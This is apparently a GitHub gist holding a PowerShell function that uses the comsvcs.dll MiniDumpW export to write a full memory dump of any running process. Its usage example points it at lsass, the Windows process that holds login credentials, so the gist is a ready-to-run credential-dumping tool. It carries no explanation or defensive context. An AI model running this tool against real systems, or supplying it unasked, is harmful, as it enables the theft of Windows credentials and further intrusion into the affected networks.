Skip to content

Instantly share code, notes, and snippets.

@hugsy
Created January 6, 2020 21:55
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hugsy/5e6158b6d50b31a1a2a7dd62235322cd to your computer and use it in GitHub Desktop.
Save hugsy/5e6158b6d50b31a1a2a7dd62235322cd to your computer and use it in GitHub Desktop.
function Get-Coredump
{
<#
.SYNOPSIS
Uses COM services to generate a coredump of a running process
.DESCRIPTION
Uses COM services to generate a coredump of a running process
.EXAMPLE
C:\> $lsass = Get-Process -Name lsass
C:\> Get-Coredump -ProcId $lsass.Id -DumpPath c:\dumps\lsass.dmp
#>
param(
[Parameter(Mandatory = $True)]
[String]$DumpPath,
[Parameter(Mandatory = $False)]
[ValidateSet("full", "mini")]
[String]$DumpType = "full",
[Parameter(Mandatory = $True)]
[int]$ProcID
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class ComSvcs
{
[DllImport("comsvcs.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern bool MiniDumpW(
IntPtr Dummy1,
IntPtr Dummy2,
string lpArg
);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@
$lpArg = "{0:d} {1:s} {2:s}" -f $ProcID, $DumpPath, $DumpType
Write-Output "[*] calling comsvcs!MiniDumpW..."
if( [ComSvcs]::MiniDumpW(0,0,$lpArg) )
{
Write-Output "[+] Success, process PID=$($ProcID) dumped as '$($DumpPath)'"
}
else
{
Write-Error "[-] Failed to dump process: $((New-Object System.ComponentModel.Win32Exception([int][Kernel32]::GetLastError())).Message)"
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment